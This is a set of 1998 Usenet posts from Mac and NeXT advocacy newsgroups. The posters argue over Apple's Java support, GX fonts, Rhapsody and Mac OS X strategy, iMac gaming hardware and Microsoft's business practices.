References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <NB2f1.12142$Kx3.12467548@news.rdc1.sdca.home.com> <rmcassid-0806982357100001@dialin33413.slip.uci.edu> <TG5f1.12153$Kx3.12551461@news.rdc1.sdca.home.com> <6ljrgk$mqg@nntp02.primenet.com> <slrn6nqt7q.562.sal@panix3.panix.com> <6lmt2n$ign$1@nnrp1.dejanews.com>
Subject: Re: How well does Apple support Java?
Message-ID: <U%Yg1.34444$BE5.6699217@news.rdc1.nj.home.com>
Date: Sun, 14 Jun 1998 23:27:48 GMT
NNTP-Posting-Date: Sun, 14 Jun 1998 16:27:48 PDT
Organization: @Home Network
>
> How well do you think Apple supports Java?
Not mentioned was the very nice sdk that is being built. You can
easily connect java to native code, plus build double clickable
applications.
From what I have heard, and I am an apple developer, and these are rumors,
the latest builds of mrj2.1 or really fricking fast. They are using
symantec's
jit, which seems to be working. As for java on rhapsody....well, fraid to
say
its gonna put solaris to shame. I am using it...
-chris
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sun, 14 Jun 1998 23:15:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6m1lje$fqt$1@nnrp1.dejanews.com>
References: <slrn6o0ed9.kcg.sal@panix3.panix.com> <B1A69C00-30576@206.165.43.126>
In article <B1A69C00-30576@206.165.43.126>,
> OK, how does it handle the "Cherokee Nation Font" problem?
>
Probably better than GX, if you want to mix it with Klingon...
Thanks to Deirdre Saoirse for posting this elsewhere..
Best wishes,
mmalc.
Subject: Medu Neter
Date: Thu, 18 Jul 96 13:35:38 -0800
From: Anne Ogborn <anniepoo@apple.com>
To: <CatGuy@lamg.com>, "WASTE" <waste@rhino.harvard.edu>
> And one last question, I understand that Apple can handle scripts
> that go left to right or right to left. The Tameran Medu Neter
> traditionally follow a general flow of the main passage going from
> the center outward at the top of the page (left to right and right
> to left), with supporting passages usually being arranged in verticle
> columns. Also, the arrangement of the characters within a single word is
> involves changes in all four directions (left to right, right to left,
> down to up, and up to down) as well as leaps to the end of the word and
> a return to the previous location (all characters that are also deity
> names are placed in a position of honor at the end of a word as a sign
> of respect, regardless of where that corresponding sound falls in the
> word). Does Apple support languages that act in this manner?
>
It is true that Mac API's support both right to left and vertical
text.
Apple does not currently sell a script system for Medu Neter, and I
know of no plans to create one. Under Quickdraw GX it should be possible
to create such a script system, however the mixed direction page layout
would require it's own specialized page layout code above the API level.
It would be a nontrivial task to implement such a system.
If you should decide to implement such a system you should place it
in the smKlingon space, as we do not currently reserve a space in the
script numbering system for Medu Neter. Obviously this will cause
problems for Macintosh users who wish to compose mixed Klingon/Medu Neter
documents, but hopefully this will be rare.
Engineering Support Engineer
World Ready Software Group
Apple Computer
Ph: (408)974-7089 T,R
Ph: (415)552-3577 M,W,F
anniepoo@apple.com
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 14 Jun 1998 20:39:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A9E551-1D95D@206.165.43.122>
References: <3584500D.CD7B26A0@nstar.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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Michael J. Peck <mjpeck@nstar.net> said:
>mmalcolm crawford wrote:
>
>> What would be very useful would be a means of creating games on
>Macintosh
>> "5-10 times quicker than using traditional methods"... a combination of
>QTML
>> and YellowBox could provide just that...
>
>I doubt it. QTML is an API for the creation of professional-level media.
>Yellow Box is an enterprise-level application framework. Neither one
>compares favorably in the games market to something like Game Sprockets,
>or the even more complete DirectX. DirectX was designed for the express
>purpose of making it easier to perform the highly-complex functions
>demanded by today's games.
There are certain kinds of games that would be ideal for QTML and others
that wouldn't be. PuppetTIme <http://www.puppettime.com/> is an example of
a proposed QT technology that would be ideal for certain kinds of games.
GX/QT vectors are suitable for another kind. If all you are interested in
is realtime 3D shoot-em-ups ala Quake, or the 3D wargames ala Myth, QT
wouldn't be of much use at this time, but in a few years, when
processors/accelerators get fast enough, even Quake & Myth will be doable
via QT.
THEN you'll see truely interactive, virtual reality-based literature take
off -it won't be just a "game" anymore.
[Speaking of which, anyone see "The Trueman Show" yet? There's an old SF
short-story that examined this theme but I can't remember who wrote it.
Wonder if they got the idea from the short story or if they made it up
themselves.]
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mac OS X Confusion
Newsgroups: comp.sys.next.advocacy
References: <6lvsob$ni$1@supernews.com> <1998061411214000.HAA12533@ladder03.news.aol.com>
Message-ID: <358490d8.0@news.depaul.edu>
Date: 15 Jun 98 03:11:20 GMT
MerefBast <merefbast@aol.com> wrote:
> My understanding (subject to error because of all the confusion over Apple's
> changing plans) is that Mac OS X will be missing WebObjects and EOF, two
> essential elements to a server OS.....
Um, neither is essential. None of the currently available server OS's
ships with either, or anything like them.
That said, EOF is now a standard part of YellowBox, so every Rhapsody,
MacOSX, and YB/Windows user will have EOF.
--
"... and subpoenas for all." - Ken Starr
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 14 Jun 1998 16:52:03 GMT
Organization: I don't think so
Message-ID: <slrn6o804q.5bn.jason@jhste1.dyn.ml.org>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <35e138b6.262092222@news.supernews.com> <35836C7C.DFFCE2B1@nstar.net> <35838E6D.3368@prodigy.net> <3583E139.4281F630@nstar.net>
Michael J. Peck posted the following to comp.sys.mac.advocacy:
>Tying isn't a market force. It's a product marketing gimmick or a
>technological solution, or both, depending on how you look at it.
Pretty extreme view, Mike. Take a look at Jefferson Parish Hospital
District No. 2 v. Hyde, 466 U.S. 2 (1984). It appears that all the
justices on the Court agreed that tying was a potential antitrust
problem; the controversy was over whether it should be per se illegal
or subject to the rule of reason.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 15 Jun 1998 00:54:34 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca> <rmcassid-1006981118370001@dante.eng.uci.edu> <*johnnyc*-1306981612300001@jchristie.halifaxcable.dal.ca> <6lv2fo$jjf$1@nnrp1.dejanews.com> <*johnnyc*-1306982159170001@jchristie.halifaxcable.dal.ca> <6m09ua$eu4$1@nnrp1.dejanews.com> <pulsar-ya02408000R1406981236390001@news-proxy.cso.uiuc.edu> <6m1i1r$anb$1@nnrp1.dejanews.com>
In article <6m1i1r$anb$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> has killed Rhapsody as a cross-platform technology. So, contrary to the
> original posters claim, Steve Jobs will kill good technology.
I never claimed the Steve jobs wouldn't kill good technology. He has
proved otherwise on more than one occasion. I claimed he would not kill
technology he was personnlay invested in. DPS might be considered
killed. However, Adobe announced its death a couple of weeks before the
WWDC so WHO killed it is up in the air. You might also say it was
constrained since the core code is still there with a different wrapper to
save money and bring the technology home. With QDe Jobs is becoming more
involved rather than less and bringing more certainty to the future of the
current OS plans.
> He also killed
> NeXT hardware and DPS but I hadn't brought that up yet.
I already mentioned DPS. You'll see YB disappear under the same
conditions as NeXT hardware. In that case few will care (by definition).
> argue that he is not killing Rhapsody, just constraining it. I would claim
> that that argument pattern is not valid because YB would be useless for a lot
> of developers if it is contrained more that it currently is ie only works on
> MacOS and Windows 9x/NT.
YB will be maintained cross platform. the level of constraint proposed
is not to the degree where you would have a point (as you qualify it).
When it is bring it up again.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
Message-ID: <358537F3.66478A32@spamtoNull.com>
From: Jonathan Harker <Limeyville@spamtoNull.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Mon, 15 Jun 1998 15:00:20 GMT
NNTP-Posting-Date: Mon, 15 Jun 1998 15:00:20 GMT
Organization: MCI2000
Nicholas Costa wrote:
>
> No one would attempt to say that the Mac has more games/game developers
> than its WinDoze competitor, for it simply isn't true. However, the Mac
> does have a substantial number of game titles, and the list is growing. One
> of the most popular vendors, one of which I have admired for the past few
> years, is MacSoft. They have continually been able to port popular PC games
> such as Descent, Quake, and others with excellent accuracy. In fact, many
> reviewers (including myself) have noted that the Mac versions are
> graphically, responsively, and audibly superior to their PC counterparts,
> largely due to the Mac's superiority in these areas. I encourage any gaming
> enthusiast to check out MacSoft's titles.
>
This is a very confusing statement. You appear to be talking about "the
Mac" as though there always has been one single Mac, and only one, to
which you compare the entirety of the PC hardware kingdom. If you think
on the matter a bit, I'm sure you may change your mind.
For instance, just how is it that you think the iMac's (which is *the*
Mac we were discussing) ATI graphics subsystem is superior to, say, a
Matrox Millennium I/II graphics system in many PC clones? It certainly
isn't. In fact, the ATI subsystem in the Mac *is* the ATI PC clone
subsystem integrated into the iMac's motherboard. Comparatively, the ATI
is a very slow performer, especially in screen resolutions and bit
depths of 800X600X16 bits and higher. At 1024X768X16 bits, for instance,
a Matrox Millennium is almost exactly twice as fast as the fastest ATI
2d performer. For 3d, the iMac must rely exclusively on the ATI 3d
capability for hardware 3d acceleration, because the iMac can never be
upgraded to a different graphics subsystem and has *no* expansion slots.
Even the el-cheapo PC clones on the market have several expansion slots
to which you may add a 3dfx Voodoo 2 if you so desire. The combination
of the Matrox/Voodoo simply blows away completely the performance and
quality of the iMac's ATI subsystem. The former is so much better, in
fact, that there is almost no comparison possible.
As far as being "audibly superior" goes, what prompts you to make this
statement? Is the sound subsystem in the iMac PCI? Even cheap PC clones
can be fitted with PCI sound right now for around $100, which is
natively capable of CD-Quality sound reproduction. What's in the iMac
that prompts you to pronounce it better?
In summary, the iMac might make a good platform for schools, libraries,
and some small business network situations (provided the software gets
delivered), but its paltry native hardware and the complete inability to
mix& match PCI components at will is a limitation sure to leave gamers
cold.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 15:23:53 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6oaf49.jmi.sal@panix3.panix.com>
References: <3584500D.CD7B26A0@nstar.net> <B1A9E551-1D95D@206.165.43.122>
On 14 Jun 1998 20:39:00 -0700, Lawson English <english@primenet.com> wrote:
>There are certain kinds of games that would be ideal for QTML and others
>that wouldn't be. PuppetTIme <http://www.puppettime.com/> is an example of
>a proposed QT technology that would be ideal for certain kinds of games.
QTVR + PuppetTime + YB classes + Visual Tools for layout would make for
a pretty good tool for Myst style games. Or your typical sword & monsters
type of game.
--
sal@panix.com
Salvatore Denaro
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: 15 Jun 1998 11:33:16 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <uu35mn0hv.fsf@ai.mit.edu>
References: <jdoherty-1406980224450001@san-tx3-06.ix.netcom.com> <B1A94C57-46FE8@206.165.43.176>
"Lawson English" <english@primenet.com> writes:
> John Doherty <jdoherty@ix.netcom.com> said:
>> [...]the only apps that support GX fonts any better than they
>> support T1 fonts are ridiculous jokes.
> Really? How many T1 fonts provide the capabilities of Hoefler, for
> instance? How many GX-using apps are you familiar with?
None of them, as I pointed out a few months ago in my long description
of what GX fontography can buy you.
But that misses John's point. It doesn't matter what the technology
_can_ do, it matters what it _does_ do. John needs the whole package,
from the UI through the apps, the font algorithms, down to the
printing package, to do what he needs it to do. The fact of the
matter is, despite the technology behind GX fonts, there are sadly few
top-quality applications using the GX feature set. The limited font
library also means that there is little impetus today to create
top-quality apps that can make use of it.
Which is too bad. GX fonts should be fantastic for high-quality
typesetting. But when you look at the big picture, they're just not
going to be supported well enough to make it there.
I'm still hoping Apple can leverage the GX font technology into great
native support for OpenType fonts. I'm encouraged that more of the
industry will start looking in the OTF direction (witness the OpenType
support being built into Java2D).
[several more paragraphs deleted -- I've lost all interest in reading
more than a paragraph of Lawson per post]
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Date: 14 Jun 1998 15:26:11 GMT
Organization: P & L Systems
Message-ID: <6m0q2j$ndd$2@ironhorse.plsys.co.uk>
References: <slrn6o5ltt.tji.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <B1A87EB0-E684@206.165.43.172>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1A87EB0-E684@206.165.43.172> "Lawson English" wrote:
> You may be correct. However, substitute any other failed technology for
> what "Steve Jobs and NeXT came to this realization" about and you'll
> realize that it doesn't sound too promising.
>
> Rhapsody/MacOS X is a HUGE gamble.
>
And so is walking out of your front door in the morning -- the sky might very
well fall on your head.
With the level of acceptance MacOS X seems to have garnered from the press
and Mac users alike (whether based on a real understanding of what the
technology is or not) it certainly looks like a lot less of a gamble than
either Rhapsody, or maintaining the same path or direction of the current
MacOS.
Lawson, I challenge you to say something *positive* about Apple.
As a supposed "advocate" you don't seem to have anything pleasant or
constructive to say about the company or its current technologies; why don't
you just go out and buy a PC, as I've suggested on several occasions before?
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Font formats (was OS strategy)
Date: 14 Jun 1998 09:46:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A94C57-46FE8@206.165.43.176>
References: <jdoherty-1406980224450001@san-tx3-06.ix.netcom.com>
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Doherty <jdoherty@ix.netcom.com> said:
>In article <B1A8043E-2B9E6@206.165.43.23>, "Lawson English"
><english@primenet.com> wrote:
>
>| That's the ONLY difference between T1 fonts and GXified T1 fonts that I
>| know of
>
>The most important difference I know of between T1 fonts and GX fonts
>is that you can actually buy thousands of T1 fonts, and you could only
>ever buy about 40 GX fonts.
>
>I'm not even sure you can buy most of those anymore. Does Linotype
>still sell their GX core set?
>
>If you want to use thousands of fonts for some reason, and you also
>want to use GX for some other weird reason, you're going to have
>GX-ify the vast majority of your fonts yourself. There is no good
>reason to do that, since the only apps that support GX fonts any
>better than they support T1 fonts are ridiculous jokes.
>
Really? How many T1 fonts provide the capabilities of Hoefler, for
instance? How many GX-using apps are you familiar with?
>So given thousands of T1 fonts, you could GX-ify them if you wanted,
>but it would be a complete waste of time.
Excuse? Apple's new ATSUI is based on the GX layout algorithms combined
with OpenStep's text-block class algorithms. Out-of-the-box, it will handle
TT and AAT fonts, which are merely GX fonts with a name-change. I'm not
sure how T1 fonts will be handled. I suspect that you will STILL have to
run them through the GXifier (which has also undergone a name change, I
understand), although perhaps the OS will do it for you and keep the
'AAT-ized' fonts in a separate folder or perhaps some other scheme will be
devised to keep T1 fonts functional in non-ATSUI-aware apps while allowing
T1 fonts to still be used in GX, er, ATSUI. Lots of strategies could be
used that are superior to what was done with GX.
The bottom line is that if you are running ATSUI, your T1 fonts WILL have
been GXified in some way, although the name of "GXifier" has been changed
to protect the sensibilities of the GX-phobe.
These changes are all very good and should have been done YEARS ago.
However, they don't go far enough, IMHO. Apple should add ATSUI-like
capabilities to GX itself as the long-awaited, and never-seen,
gxParagraphShape, and sell the upgrade to any and all 68K and PowerMac
owners that want to use it. A version should be made available in the
Carbon API.
This will provide Apple with a complete, reasonably high-level graphics API
that works on ALL Macintoshes that will enable developers to produce
Mac-only apps that can't be created on PCs unless they are using the Yellow
Box. This will lock 68K users into using high-quality Mac-only apps,
thereby locking them into a Mac-only hardware upgrade path. It will also
provide Apple with a far greater installed base of AAT (GX) font users to
entice font-houses to create more AAT fonts.
Apple should also take the human interface that it's devising for ATSUI and
turn it into a library that can be hooked to the proposed gxParagraphShape
so that developers can use the same API on pre-Carbon OS's that they'll be
using with ATSUI in order to increase the installed base of ATSUI-using
applications.
By selling this upgrade to GX, Apple will provide a service to its users
and developers and increase the chances that users will upgrade to Mac
hardware. They will also increase the number of developers who are familiar
with the ins and outs of retained-mode graphics libraries who can then
provide positive feedback to Apple about what it should be doing with its
next-generation graphics engine.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sun, 14 Jun 1998 13:01:20 -0500
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <19980614130120960610@ts2-24.aug.com>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <35e138b6.262092222@news.supernews.com> <35836C7C.DFFCE2B1@nstar.net> <35838E6D.3368@prodigy.net> <3583E139.4281F630@nstar.net>
Michael J. Peck <mjpeck@nstar.net> wrote:
> Not true. Netscape gave away its browser from the beginning, charging
> only later. The academic versions were always free.
Nope. Navigator was free only to students, teachers and non-profit
corps. Everyones else was supposed to pay. Navigator supposedly brought
in as much as 13% of Netscape's income.
> precisely the same market forces affected Netscape as affect Microsoft
> today; hence, the similar patterns of behavior.
Wrong again. Microsoft giving IE away free is what forced Netscape to
give away Navigator.
> Quite so. The browser market, from the start, was free or nearly-free
> software, from the advent of the Web to the current day. The
> profit-making opportunities were never in sales of a trivial piece of
Tell that to Netscape. They wrote Navigator and put it up for sale - to
make money. .. and if tis so easy to write a browser, why arent there
hundreds out there?
> Pure conjecture, and foolish, at that. How, exactly, will Microsoft
> "control" access to the Internet? With a satellite network? Please.
WIth pre-arranged channels in their browser. Duh.
With Web server software that allows access only by IE. Duh.
With exclusive ISP contracts. Duh.
> They absolutely can. In every market to which Microsoft brings its
> weight, there are competitors of equal or greater size and influence. Is
> this unfair to Microsoft?
>
.. and those companies would be ...? Microsoft was able to bully not
only the largest computer vendor inthe world (Compaq), but almost all
Intel/clone computer vendors. They are moving into real estate
advertising and reservation systems now. Corporations like GM are having
to answer the "..are you afraid of Microsoft" question... and the
answers arent encourageing. I think the latesest article in in
Businessweek.. it is in one of the news mags.
--
*** To reply via email remove nospam from my return address. ***
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 14 Jun 1998 16:55:21 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <6m0v9p$jpg$1@sun27.hrz.tu-darmstadt.de>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu <6m0k2v$ka6$1@news.cs.tu-berlin.de> <slrn6o7uqk.714.mark@sapphire.oaai.com>
mark@sapphire.oaai.com (Mark Onyschuk) wrote:
>In the past twelve months, we've been hiring people who'd be described as
>strong O-O developers - particularly in dynamic O-O environments like
>SmallTalk and Java. We're very discriminating about who we hire from this
>pool of software developers, but I can confidently say that after a year
>of this sort of hiring, we're staffed exclusively with *excellent*
>OpenStep/Yellow Box programmers.
>
>There's a great pool of exceptional people out there if you're willing to
>gloss details like language. Have they ever programmed in C? That'll just
>about do if you want to teach them Objective C in about a day - when you
>*understand* OO concepts and the C language, it's trivially easy to slip
>into the langauge, or Java for that matter.
Yes. Everybody who grokes Dynamic OO will make an excellent ObjC
programmer in a very short time - thanks to the excellent frameworks
and programming environment. However, quite a few programmers are
thoroughly spoiled from using C++. Unfortunately, you can design
in static, braindead C++ style even when using a dynamic language,
just look at Java-Beans.
But Mark, pray tell: When GlyphX? I'm soooo curious. Fall?
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// http://www.nexttoyou.de/~neuss/
// fax: (+49) 6151 16 5472
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 14 Jun 1998 12:59:31 -0400
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <tbrown-1406981259330001@mv067.axom.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com> <*johnnyc*-1406980722450001@jchristie.halifaxcable.dal.ca>
In article <*johnnyc*-1406980722450001@jchristie.halifaxcable.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>> The Yellow Finder _won't_ have to be written from scratch -- there was one
>> scheduled for release in Rhapsody CR1, how does it behave in DR2?
>
> No, actually there was never any commitment to make the Finder Yellow.
>It was to run on Rhapsody. Apple could have attempted to program it
>through the cross platform QTML code and add a "few" things. Perhaps this
>is one of the reasons we have Carbon in the first place.
That could be, it just that before Carbon, Yellow was the only way Apple
could have implemented something for Rhapsody. Carbon still seems to be
fairly new, so what's Apple been doing for the last year? It'd be easy
enough for someone using Rhapsody to take a peak inside the Finder to see
if it's built on Yellow objects.
>> I've mentioned it before, maybe half of my problem is that no one's said
>> "Boy that Finder substitute in Rhapsody DR2 _really_ sucks, I can't
>> believe they'd ship that thing". So those in the 'know' (ie have
>> used/seen Rhapsody DR2), how is it?
>
> It seems like a hybrid between Mac and NeXT technologies (more NeXT
>than Mac IMO). However, it is unclear whether it was BUILT as a hybrid
>between Apple and NeXT technologies or just NeXT technologies. Moving
>around in the interface is very much Mac like in that you can look in your
>drives and menuing looks similar. However, the NeXT browser is still
>prevalent for launching apps.
Well the NeXT hybrid stuff indicates that they are building on the Yellow
Foundation. If the Rhapsody Finder is 'good enough', then it'll get even
better over the next year, while at the same time most likely offering UI
Objects for Yellow programmers to use. Focusing on extending the older
Finder code is bound to be a diminishing return. I'd rather see Mac OS X
outstrip anything that NeXT or Apple ever shipped, and I don't think that
will happen with the old Finder code base.
Even when Apple adds new capabilities to the Finder, they don't make it
into Applications. Take the Finder Window tabs (where they are put on the
bottom of the screen), or the popup window bar menu the Finder uses.
These things make Finder windows behave differently than other
applications.
Maybe it'll be easier to get Carbon to allow those things to be adopted
faster, as of now, new features either lag a release or two, or never make
it to applications w/o large support from third parties. The same thing
happens in inverse for the Finder, where new tech is added to the MacOS,
but the Finder doesn't support it. Basing new UI elements on yellow means
that _all_ yellow apps get the functionality (sometimes w/o altering a
line of code or recompiling).
I'm not sure how that would work with Carbon. Much better for Apple to
continue to convince developers to move from Carbon to Yellow and give
them a nice path to do so. That is, when OS X ships, it should have some
transition methods for moving part of a Carbon app over to a Yellow app.
--
Ted Brown tbrown@netset.com
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 15 Jun 1998 11:01:12 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m2uto$b7k$1@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com>
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Cc: kari@gti.net
In <6lvsob$ni$1@supernews.com> Kari L Beischer claimed:
> Maybe Don Crabb knows something we don't, then again maybe not:
>
> http://www.maccentral.com/features/crabbsapple.shtml
>
>
> When answering a question as to why MacOSX can't be a server OS he
> does a vague buzz word dance of why it won't fit the bill. As far
> as I understand it, he's quite wrong. MacOSX is Rhapsody 2.0.
> It's core OS is the same and ought to be able to have all the unix
> goodies tossed in.
His points were...
a) The key will be the robustness (departmental servers must scale from a few
to a many as 100 users easily without breaking)
- possibly not an issue, but this remains to be seen
b) and the administrative tools provided.
- totally an issue.
c) In addition, the software for print serving, file serving,
and Web serving that currently lives in AppleShare IP, will,
too have to be made more robust, and easier to modify and maintain.
- same here
For the most part I agree with his article.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 11:09:50 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m2vdu$b7k$3@ns3.vrx.net>
References: <6lu569$ndd$1@ironhorse.plsys.co.uk> <B1A80CB0-4B5EE@206.165.43.23>
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Cc: english@primenet.com
In <B1A80CB0-4B5EE@206.165.43.23> "Lawson English" claimed:
> Drawing to bitmaps doesn't provide resolution-independence.
Correct, which is why it was stated that the new image model will use
alpha's internally on all objects, not just composites.
Maury
